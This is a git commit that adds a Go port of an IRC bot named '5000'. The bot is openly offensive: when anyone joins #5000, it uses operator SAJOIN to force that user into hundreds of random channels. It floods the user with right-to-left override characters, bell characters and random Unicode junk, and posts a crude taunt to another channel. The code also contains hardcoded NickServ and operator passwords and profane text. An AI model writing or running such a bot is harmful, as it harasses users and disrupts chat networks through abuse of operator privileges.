Added 5000 (golang version)

This commit is contained in:
Dionysus 2023-09-18 14:38:14 -04:00
parent 37852bffa2
commit 640ca6f2ca
Signed by: acidvegas
GPG Key ID: EF4B922DB85DC9DE
1 changed files with 158 additions and 0 deletions

158
bots/5000.go Normal file
View File

@ -0,0 +1,158 @@
package main
// Original 5000 bot was written in Python. This is a Go port of it by acidvegas.
import (
"bufio"
"crypto/tls"
"fmt"
"log"
"math/rand"
"strings"
"time"
"unicode/utf16"
)
var sendChannel chan<- string
const (
nickname = "FUCKYOU"
username = "5000"
realname = "\x0304THROWN INTO THE FUCKING WALL\x0f"
)
func randomASCIIString(n int) string {
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
b := make([]byte, n)
for i := range b {
b[i] = charset[rand.Intn(len(charset))]
}
return string(b)
}
func unicodeString() string {
msg := "\u202e\u0007\x03" + fmt.Sprintf("%d", rand.Intn(12)+2)
for i := 0; i < rand.Intn(101)+200; i++ {
r := rand.Intn(0x2001) + 0x1000
if r < 0x10000 {
msg += string(rune(r))
} else {
r -= 0x10000
msg += string(utf16.DecodeRune(rune(r>>10+0xD800), rune(r&0x3FF+0xDC00)))
}
}
return msg
}
func attack(target string) {
sendChannel <- fmt.Sprintf("PRIVMSG #superbowl :I am fucking the shit out of %s right now...", target)
for i := 0; i < 200; i++ {
var channels []string
for i := 0; i < 25; i++ {
channelName := "#" + randomASCIIString(5)
channels = append(channels, channelName)
}
result := strings.Join(channels, ",")
sendChannel <- fmt.Sprintf("SAJOIN %s #%s", target, result)
sendChannel <- fmt.Sprintf("PRIVMSG #5000 :%s oh god %s what is happening %s", unicodeString(), target, unicodeString())
sendChannel <- fmt.Sprintf("PRIVMSG %s :%s oh god %s what is happening %s", target, unicodeString(), target, unicodeString())
}
}
func main() {
rand.Seed(time.Now().UnixNano())
for {
conn, err := tls.Dial("tcp", "localhost:6697", &tls.Config{InsecureSkipVerify: true})
if err != nil {
log.Println("Failed to connect: %v", err)
time.Sleep(15 * time.Second)
continue
}
messageChannel := make(chan string, 100) // INCOMING
sendChannel := make(chan string, 100) // OUTGOING
quit := make(chan struct{})
timeoutDuration := 300 * time.Second
timeoutTimer := time.NewTimer(timeoutDuration)
go func() {
reader := bufio.NewReader(conn)
for {
line, err := reader.ReadString('\n')
if err != nil {
log.Println("Error reading from server:", err)
conn.Close()
close(quit)
return
}
select {
case messageChannel <- line:
timeoutTimer.Reset(timeoutDuration)
case <-quit:
return
case <-timeoutTimer.C:
log.Println("No data received for 300 seconds. Reconnecting...")
conn.Close()
close(quit)
return
}
}
}()
go func() {
for {
select {
case message := <-sendChannel:
data := []byte(message)
if len(data) > 510 {
data = data[:510]
}
_, err := conn.Write(append(data, '\r', '\n'))
if err != nil {
log.Println("Error writing to server:", err)
conn.Close()
close(quit)
return
}
case <-quit:
return
}
}
}()
sendChannel <- fmt.Sprintf("NICK FUCKYOU")
sendChannel <- fmt.Sprintf("USER 5000 0 * :THROW INTO THE FUCKING WALL")
for {
handleMessage(<-messageChannel, sendChannel)
}
conn.Close()
//close(quit)
time.Sleep(15 * time.Second)
}
}
func handleMessage(message string, sendChannel chan<- string) {
fmt.Println(message)
parts := strings.Split(message, " ")
if len(parts) > 1 && parts[0] == "PING" {
sendChannel <- fmt.Sprintf("PONG %s", parts[1])
} else if len(parts) > 2 && parts[1] == "001" {
time.Sleep(5 * time.Second)
sendChannel <- fmt.Sprintf("MODE FUCKYOU +BDd")
sendChannel <- fmt.Sprintf("PRIVMSG NickServ IDENTIFY FUCKYOU simps0nsfan420")
sendChannel <- fmt.Sprintf("PRIVMSG OPER FUCKYOU fartsimps0n420")
sendChannel <- fmt.Sprintf("JOIN #5000")
sendChannel <- fmt.Sprintf("JOIN #superbowl")
} else if len(parts) == 3 {
if parts[1] == "JOIN" && parts[2] == "#5000" {
nick := strings.Split(parts[0], "!")[0][1:]
if nick != "acidvegas" && nick != "ChanServ" && nick != "FUCKYOU" {
go attack(nick)
}
}
}
}